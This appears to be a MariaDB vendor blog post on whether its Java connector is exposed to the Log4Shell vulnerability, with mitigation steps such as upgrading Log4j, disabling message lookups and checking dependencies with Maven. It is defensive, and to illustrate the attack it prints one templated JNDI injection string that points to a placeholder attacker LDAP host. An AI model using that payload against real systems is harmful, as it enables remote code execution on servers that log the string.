Is the MariaDB JDBC driver affected by the Log4j vulnerability?
Tags: mariadb, log4j, java, database
Published: 2021-12-19 11:07:45

<section class="entry-content text-content" itemprop="articleBody">

Is the [MariaDB Java connector](https://mariadb.com/kb/en/about-mariadb-connector-j) affected by the security vulnerability recently discovered in Log4? By default, the Java connector does not use Log4j. However, if you have configured it to use [SLF4j](http://www.slf4j.org/), keep reading.

For information beyond the scope of the MariaDB JDBC driver, read [Log4Shell and MariaDB](https://mariadb.com/resources/blog/log4shell-and-mariadb-cve-2021-44228/).

**Note**: This blog was updated 2021-12-15 to include detail regarding [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046).

### The Log4j vulnerability

Apache Log4j is a popular open-source logging framework for Java applications. It’s used in a variety of open-source and enterprise projects including cloud vendors and email service providers. On December 9, 2021, a 0-day vulnerability was found in Log4j that could result in remote code execution, allowing a hacker to execute arbitrary code in a system. The vulnerability is known as “Log4Shell” and is tracked as [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228).

In short, the vulnerability allows an attacker to inject a JNDI lookup string that invokes, for example, a remote LDAP server (controlled by the attacker) which in turn returns a malicious Java class:

<pre>${jndi:ldap://[attacker_site]/[malicious_java_class]}</pre>

If a string like this is logged by Log4j, a malicious Java class can run arbitrary code (via a static block of code, for example).

### Versions affected

Fortunately, only Log4j versions 2.x before 2.15.0 are affected. See the [Apache Log4j security vulnerabilities](https://logging.apache.org/log4j/2.x/security.html) page for more information. The vulnerability is not present in Log4j versions 1.x.

### How to mitigate CVE-2021-44228

The best strategy to mitigate the vulnerability is to update the Log4j dependency in your projects. Version 2.16.0, which removes message lookups, is already [available](https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4). Props to the team for quickly releasing this.

**Update**: Log4j 2.16.0 also fixes the second vulnerability tracked as [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046).

The MariaDB JDBC driver doesn’t use Log4j 2.x. However, it supports SLF4J. Check whether or not you are using the Log4j binder for SLF4J, and if so, upgrade Log4j accordingly or set the following configuration variable:

<pre>-Dlog4j2.formatMsgNoLookups=true
</pre>

Or set the following environment variable:

<pre>LOG4J_FORMAT_MSG_NO_LOOKUPS=true
</pre>

**Note**: Logging is only enabled when explicitly set by the `log` [parameter](https://mariadb.com/kb/en/about-mariadb-connector-j/#log-parameters). Besides Log4j, you can also opt for other SLF4J bindings like Jakarta Commons Logging, Logback, or the Java Logging API.

If you are using Maven, you can run the following command to find out if your project depends on Log4j:

<pre>mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core</pre>

<span style="font-weight: 400;">Here’s an example of the kind of output you’ll get in a vulnerable project:</span>

![](https://mariadb.com/wp-content/webp-express/webp-images/doc-root/wp-content/uploads/2021/12/log4j-vulnerability-blog-img1.jpg.webp)

If for some reason your project doesn’t compile you can alternatively run:

<pre>mvn help:effective-pom</pre>

Search for the `log4j-core` dependency and check the version used.

### Additional Information

List of links in the blog:

*   [MariaDB Java connector](https://mariadb.com/kb/en/about-mariadb-connector-j)
*   [SLF4j](http://www.slf4j.org/)
*   [Related blog Log4Shell and MariaDB](https://mariadb.com/resources/blog/log4shell-and-mariadb-cve-2021-44228/)
*   [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)
*   [Apache Log4j security vulnerabilities](https://logging.apache.org/log4j/2.x/security.html)
*   [Apache Log4j Version 2.16.0](https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4)
*   `log` [parameter](https://mariadb.com/kb/en/about-mariadb-connector-j/#log-parameters)

</section>